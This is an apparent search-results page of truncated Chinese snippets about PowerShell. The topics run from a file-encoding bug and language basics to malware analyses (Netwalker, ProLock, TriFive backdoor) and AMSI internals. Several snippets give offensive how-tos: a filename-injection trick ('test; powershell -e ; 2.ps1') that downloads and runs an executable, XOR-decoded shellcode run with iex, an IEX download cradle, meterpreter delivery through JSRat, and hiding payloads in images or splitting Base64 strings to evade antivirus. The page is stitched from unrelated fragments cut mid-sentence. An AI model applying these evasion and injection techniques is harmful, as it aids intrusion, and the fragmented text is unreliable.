原本需求是:记事本文件c:\teaport6.log每一行最左边都是这个格式的字符串2023/7/1 1:01:33; (时间加一个英文分号)取第1行和第-3行最左边的时间yyyy/M/d H:mm:ss...求2个时间差,以秒显示结果一直调不通代码,百思不得其解,后来发现是文件编码的问题UTF-16 Little Endian 编码的记事本文件在powershell里处理字符串时一定要小心,举例C:\teaport6....log用notepad++打开,右下角显示UTF-16 Little Endian,这种你在powershell里处理字符串时会有问题在处理之前最好把其编码调整为ascii编码,调整后再操作字符串,效果就正常了
我们在一次测试中偶然发现,由于信任未过滤的文件名,因此在运行特殊命名的脚本时,PowerShell可能会执行任意代码。...测试发现运行带有特殊格式文件名的脚本后,可以导致执行其他木马如exe文件,也可以是任何可执行文件如.com,.exe,.bat,.cpl,.js,.vbs和.wsf。 例如:使用”....测试过程如下: 1、生成powershell命令:首先,我们创建一个用于混淆的Base64编码的文件名;它将下载并执行一个在本例中名为“ calc.exe”的远程可执行文件。...例如 test; powershell -e ; 2.ps1 3、双击以在PowerShell中打开,效果如下: ? 或者在命令行下执行: ?...显然运行任何随机PS脚本都是危险的…… 但是,我们查看了文件内容, ? 仅仅是打印了一个字符串,文件名理论上被查杀的可能性小。
在检查日志后,可以发现以随机字符命名的服务名称出现,如下图中所示,圈起来的部分,它的属性看起来非常有趣: 提示:Autoruns 保存的数据文件为 arn 格式 按照常理来说,Windows Server...我们遇到过攻击者将 PE 文件代码嵌入在脚本文件中,什么是 ShellCode?...] = $var_code[$x] -bxor 35 } 根据上述代码,接下来需要一个 XOR 操作,如下图所示: 你也能使用 scdbg 工具,scdbg 是一个 ShellCode 仿真工具,运行它时...直接在内存中执行 ShellCode 会让人感到意外,因为如果它被放在某个磁盘上 (包含依赖项),分析员会对它进行分析,或者会上传到 VirusTotal 上,文件会立即公开。...任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
) JavaScript 和 VBScript Office VBA 宏 AMSI的主要是针对无文件落地攻击,比如 powershell 无文件攻击、VBScript脚本,对脚本进行扫描。...当脚本准备好提供给脚本引擎时,应用程序可以调用 Windows AMSI API 来请求对内容进行扫描。这样,就可以在决定继续执行之前安全地确定脚本是否是恶意的。 即使脚本是在运行时生成的,也是如此。...AMSI 的工作原理 当用户执行脚本或启动 PowerShell 时,AMSI.dll 被注入进程内存空间。在执行之前, 防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。...($bytes | % {[char] ($_ -bxor 0x33)}) #进行XOR编码 iex $string #执行命令 然后我们使用powershell ISE 执行来模拟我们在实战中的无文件落地直接内存加载执行的手法...简单来说就是: 记录宏行为>>触发对可疑行为的扫描>>在检测到恶意宏时停止 查杀过程 记录宏行为 我们知道VBA 语言为宏提供了一组丰富的函数,可用于与操作系统交互以运行命令、访问文件系统等。
攻击者正不断研究更复杂的方式逃避恶意软件检测,近期发现攻击者利用PowerShell编写Netwalker勒索软件,直接在内存中执行,没有将实际的勒索软件二进制文件存储到磁盘中。...PowerShell分析 powershell脚本行为如下图: ? 该脚本使用了多层加密,混淆和编码技术,最顶层为base64编码: ?...该文件以反射方式将勒索软件DLL注入到合法进程explorer.exe中, 勒索软件以十六进制格式嵌入在脚本中。 ?...脚本将其解码产生两个DLL,一个是勒索软件的x86版本(用于32位OS),另一个是x64版本(用于64位OS)。它会对运行环境进行检测,以便可以确定要使用的DLL版本: ?...Netwalker加密文件时主要针对常见用户文件,例如Office文档,PDF,图像,视频,音频和文本文件等。
如果你以为使用BAT文件来进行攻击有点过时了,那我得请你想好再说了。在监控我们的安全邮件网关云服务时,我们发现了多个针对巴西用户的可疑的垃圾邮件。...在对批处理文件进行了深入分析之后,我们发现了如下所示的恶意行为: 1. 在初始化过程中,它会在目标主机中创建目录C:\{随机目录名称}; ? 2....通过使用PShellExec.exe,它首先会对下载下来的PowerShell脚本进行加密,然后删除原始脚本,并运行加密后的脚本; ? 4....最后,它会创建一个VBScript脚本,并执行加密后的PowerShell脚本。为了实现持久化感染,它还会在目标系统的启动目录STARTUP文件夹中创建一个符号链接; ?...不过攻击者在PowerSyringe的基础上还添加了下列代码: 1. 生成了随机字符,并将其用于目录创建; ? 2.
我们在分析服务器日志时,发现了两个由攻击者创建的计划任务,这两个任务都会运行恶意的PowerShell脚本。...这些脚本存储在系统上的两个单独的文件夹中,这很可能是为了避免两个后门都被发现和删除。 上图还显示,TriFive后门每5分钟运行一次,而Snugy后门每30分钟运行一次。...TriFive通过登录合法用户的收件箱并从“已删除邮件”文件夹中的电子邮件草稿中获取PowerShell脚本,从而提供了对Exchange服务器的持久化后门访问。...脚本将打开电子邮件草稿,并使用Base64解码电子邮件消息正文中的内容,然后通过从每个字符中减去10来解密解码命令内容。...在执行提供的PowerShell代码之后,脚本将对结果进行加密,方法是在每个字符上加10,并对密文进行Base64编码。
将以上利用代码写入 html ,置于工程目录进行编译,生成 CHM 文件,运行此文件,弹出计算器。...7、在 JS 交互 shell 中每执行一条命令,客户端都会有黑框一闪而过,解决方法是使用 JSRat 中的 RUN 来执行命令写入文件,再通过 read 来读取文件的输出,相对来说比较麻烦,所以可以通过获取客户端...8、通过 web_delivery 模块 exploit 后,会生成 powershell 攻击代码,客户端运行该代码时,我们将获取到 meterpreter 会话。 ?...由于 powershell 攻击代码中存在特殊符号,直接放到 JSRat 来执行,会导致获取不到 meterpreter 会话,需要对攻击代码进行 base64 编码,刚开始搞不清楚为什么要先转 UTF...操作如下,先将执行代码写入 1.txt,再通过命令将代码转为 base 编码字符输出。 ?
推特用户@Simpo13在2月24号发布了一则推文,文中提到他正在分析的一段Powershell恶意脚本,其中包含一段base64编码的字符串“SourceFireSux”(SourceFire sucks...在这个特殊案例中,团队先分析了那段被当作VBScript文件提交到公共沙盒中的Powershell文件,他们将之称为为“第三阶段”。...受感染系统中每创建一个新的登录会话,之前储存在ADS中的第三阶段payload就会被读取并执行。第三阶段payload默认在30分钟后运行“onidle”。...有点必须要注意的是,第三、四阶段的Powershell脚本,都包含两组域,只有在样本使用第二组域名出现问题时才会使用第一组域名。 ?...第三阶段Powershell脚本中的“Logic”函数会从脚本中的第二组域中随机选择一个C2域,并用这个域进行初始查找。
这种错误可能与ProLock加密文件时所采用的异常方式有关,因为ProLock在加密文件时,会跳过小于8192字节的文件,并且会对第一个8192字节之后的大文件进行加密。...在研究的过程中,研究人员对目标系统中存储的四个与勒索软件相关的文件进行了分析,这些文件是从一个远程服务器下载下来的,相关的IP地址已经作为入侵威胁指标发布在了SophosLabs的GitHub库中了:...当该脚本由计划任务执行之后,clean.bat将会执行一个Base64编码的PowerShell脚本,并从一个名叫WinMgr.bmp的图片文件中提取出ProLock的可执行文件,然后将其加载进内存中并执行...下图显示的是clean.bat中嵌入的部分Base64编码脚本代码: 下图显示的是WinMgr.bmp中的部分脚本代码: 下图显示的是WinMgr.bmp的图形内容,其中隐藏了ProLock恶意软件...Payload,这里使用了隐写术: ProLock样本分析 我们在分析一个ProLock样本时发现,它使用了一段自修改的代码来隐藏了其中的部分内容,这段代码隐藏了部分文本字符串和其他元素。
为了在攻击者在行动中更隐蔽的实施攻击以及内网横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。...文件的像素中对 PowerShell 脚本进行编码,并生成要执行的 oneliner Invoke-PSImage 使用 PowerShell 脚本并将脚本的字节编码为 PNG 图像的像素。...创建新图像时,普通的 PowerShell 脚本实际上会被大大压缩,通常会生成一个文件大小约为原始脚本 50% 的 png。 使用嵌入方法,每个像素中 2 个颜色值的最低有效 4 位用于保存有效负载。...powershell+图片混淆技术绕过AV检测 首先我们在cobaltsrtike4.0中生成一个powershell代码文件(注意不能是64位的) 可以看到基本的意思是把代码以及字符串进行base64...上线 Virus total免杀率有点高 我们可以利用powershell的语言特点 进行变量的拼接,尝试把 base64 编码后的字符串拆开(注意这里变量的更改) 少了十个 但是这种方法仅限静态查杀
描述: 我们可以直接在PS命令行中运行文件和脚本,但是必须使用绝对路径或者相对路径,或者要运行的文件必须定义在可受信任的环境变量中。.../ping的格式, 所以说命令与脚本的混淆不会发生在powershell中,因为powershell有更安全的机制。 示例2.在PS中执行VB脚本文件 # 执行 ....描述: 扩展类型系统Extended Type System (ETS),ETS会对管道中对象转换成文本的机制进行宏观调控。...-你懂的),或者采用{变量名}进行赋值调用,还可以将某些特殊的字符作为变量但是在实际开发中不推荐; 赋值操作符不仅能给一个变量赋值,还可以同时给多个变量赋相同的值,交换变量的值PS只需要两步 变量可以自动存储任何...对于查找正在运行的脚本的名称,这非常有用。 $NestedPromptLevel : 包含当前提示级别。值 0 指示原始提示级别。该值在进入嵌套级别时递增,在退出嵌套级别时递减。
[TOC] 0x00 PS 编程基础 脚本注释 在PS中采用 #字符进行注释 调用优先级 Powershell调用入口的优先级: 别名:控制台首先会寻找输入是否为一个别名,如果是执行别名所指的命令。...PS运行其他脚本 PS运行文件和脚本 脚本和批处理都属于伪可执行文件,它们只是包含了若干命令行解释器能够解释和执行的命令行代码。...扩展类型系统”Extended Type System (ETS),ETS会对管道中对象转换成文本的机制进行宏观调控。...-你懂的),或者采用{变量名}进行赋值调用,还可以将某些特殊的字符作为变量但是在实际开发中不推荐; 赋值操作符不仅能给一个变量赋值,还可以同时给多个变量赋相同的值,交换变量的值PS只需要两步 变量可以自动存储任何...对于查找正在运行的脚本的名称,这非常有用。 $NestedPromptLevel : 包含当前提示级别。值 0 指示原始提示级别。该值在进入嵌套级别时递增,在退出嵌套级别时递减。
PowerShell 有如下特点: Windows 7 以上的操作系统默认安装 PowerShell 脚本可以运行在内存中,不需要写入磁盘 可以从另一个系统中下载 PowerShell 脚本并执行 目前很多工具都是基于...执行策略 为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted。...\aps1,最大的例外是,如果 PowerShell 脚本文件刚好位于你的系统目录中,那么你可以直接在命令提示符命令提示符后键入脚本文件名即可运行” 这里的“系统目录”是指的啥目录?...例如,在 PowerShell 中获取进程信息并以程序 ID 进行排序 PS C:\> Get-Process | Sort-Object ID Handles NPM(K) PM(K)...-WindowStyle Hidden (-W Hidden):隐藏窗口 -NoProfile (-NoP):不加载当前用户的配置文件 –Enc:执行 base64 编码后的 powershell 脚本字符串
在Bash(Kali终端)中,需要将有效负载中的 PowerShell 变量作为文字字符串传递。...将创建Documents \文件夹中的新文件。 上面屏幕截图中的简单命令可以直接嵌入“ 关于我”部分。包含特殊字符的复杂PowerShell有效内容必须是base64编码的。...否则,Microsoft的服务器将检测并清理特殊字符(例如,&)。Base64编码有效载荷是解决该问题的快捷方法。...在PowerShell中使用base64字符串时,它们需要出现在一行中。通过将base64输出传递给tr来删除(-d)新行(\ n),将多行连接成一个字符串。...第3步:在Microsoft网站上托管Payload Microsoft配置文件页面上的“ 关于我”部分可以容纳1,024个字符,在创建有效负载时应注意这一点 - 尤其是在使用base64编码有效负载时
研究人员发现了相同的、多种语言的批处理文件,说明攻击者对不同的受害群体进行了定制化。 下载脚本文件后,用户可能会点击运行批处理文件。...由于批处理文件使用的字符编码不同,默认情况下使用文本编辑器打开会显示不连贯的字符。这也是攻击者进行混淆的一种方式,使用正确的编码打开即可对脚本进行分析。...4HAI.zip文件中包含另一个要复制到启动文件夹的恶意批处理脚本,该脚本会运行 PowerShell 代码并下载执行名为 project.py 的 Python 脚本。...在经过多次解压后,使用 exec 函数来运行该脚本。 运行后,脚本会检查是否有 Chrome 进程正在运行。如果确认就终止该进程,打开 Chrome 只是为让用户相信其安全性。...一旦数据被泄露,该脚本就会对创建的所有文件与文件夹进行清理。由于恶意批处理文件被放置在启动文件夹中,用户凭据与其他浏览器数据将会不断被收集回传。
powershell的功能强大且调用方式十分灵活,目前大多数攻击者已经将PowerShell 应用在各种攻击场景中,如内网渗透,APT攻击甚至勒索软件中,在和各种组件,例如cmd,rundll32, 配合使用后...powershell混淆主要是针对以下三个方面的内容,分别为: 命令本身 函数与对象 参数 而powershell的混淆姿势,根据自己现有的知识储备,大致分为了8大类: 大小写与特殊符号 字符串变换 简写与...`n`n" -NoNewLine -ForegroundColor Green 在powershell解释器中的运行效果如下: ?...("http://127.0.0.1:8899/qiye.txt")) 1.2 反引号 反引号在powershell中是转义符,转义符号加在大部分字符前不影响字符的意思,从而实现混淆,不过有些例外: 0...编码 6.1 base64 在powershell命令行中,使用-EncodedCommand,而在脚本中使用FromBase64String IEX ([System.Text.Encoding]::
类型运算符 Powershell 和.NET平台绑定,所以它是一门强类型的脚本。因此我们可以在脚本中判断数据的类型,只要使用-is或-isnot运算符即可,类型需要写到方括号中。...需要注意,Powershell使用Unicode编码来输出信息。如果你需要使用其他类型的编码,就不能使用重定向运算符了,而应该使用Out-File命令。...特殊运算符 &运算符将它后面的命令设置为后台运行,当运行的命令需要阻塞当前终端的时候很有用。 .\\运算符用于执行一个脚本或命令。...如果执行的是Powershell脚本,那么脚本会在自己的作用域中执行,也就是说在当前环境下无法访问被执行的脚本中的变量。...Powershell是一种强类型的脚本语言,所以可以在参数列表上添加参数类型,参数类型是可选的,不过我还是推荐写的时候带上类型,方便阅读和类型检查。
powershell 具有在硬盘中易绕过,内存中难查杀的特点。...一般在后渗透中,攻击者可以在计算机上执行代码时,会下载 powershell 脚本来执行,ps1 脚本文件无需写入到硬盘中,直接可以在内存中执行 0x02 前戏 常见的 powershell 攻击工具有...首先生成一个自带的 powershell 脚本 ? 看一下自带的,是把 shellcode 加载到内存中的代码放到字符串中然后字符串然后 IEX 执行代码: ? 查杀效果: ?...既然是把字符串进行加载不如整个编一个 base64?然后在解码后加载,想着想着就开始尝试了: 首先把字符串全部给 base64,我这里先用 burp base64 ?...尝试修改变量的名称来绕过 发现没什么太大的用处,还剩两个 尝试把 base64 编码后的字符串拆开看看 ? 把上面的 base64 的字符串猜开来在 base64 的时候组合一下 ?
作者WeiyiGeek将对Windows BAT批处理编程发布学习系列教程,BAT批处理在进行Windows服务器运维中占有举足轻重的地位,能非常方便帮助我们操作管理Windows,当然在可能有的朋友会说现在在...windows Server 2019之后通常会采用PowerShell编写对应的管理脚本,还有必要学习Bat,此处作者认为还是有必要的,因为企业中还有一部分存量的业务仍然跑在Window Server...综上所述,Windows bat 批处理脚本在系统管理和日常操作中非常有用,可以提高工作效率和简化重复性任务的执行。它也可用于创建简单的安装程序或自动化脚本,方便进行系统配置和部署。...pause timeout :脚本延迟执行 描述: 此命令主要用于脚本延迟执行,其类似于PowerShell中的sleep方法以及Linux中sleep命令。...echo "我是将会被清理掉的字符串" CLS echo "我是清理屏幕后执行的" type :显示文本文件的内容 描述:此命令用于在cmd中打开文本文件并输出内容到终端, 该命令使用也是非常的简单。
领取专属 10元无门槛券
手把手带您无忧上云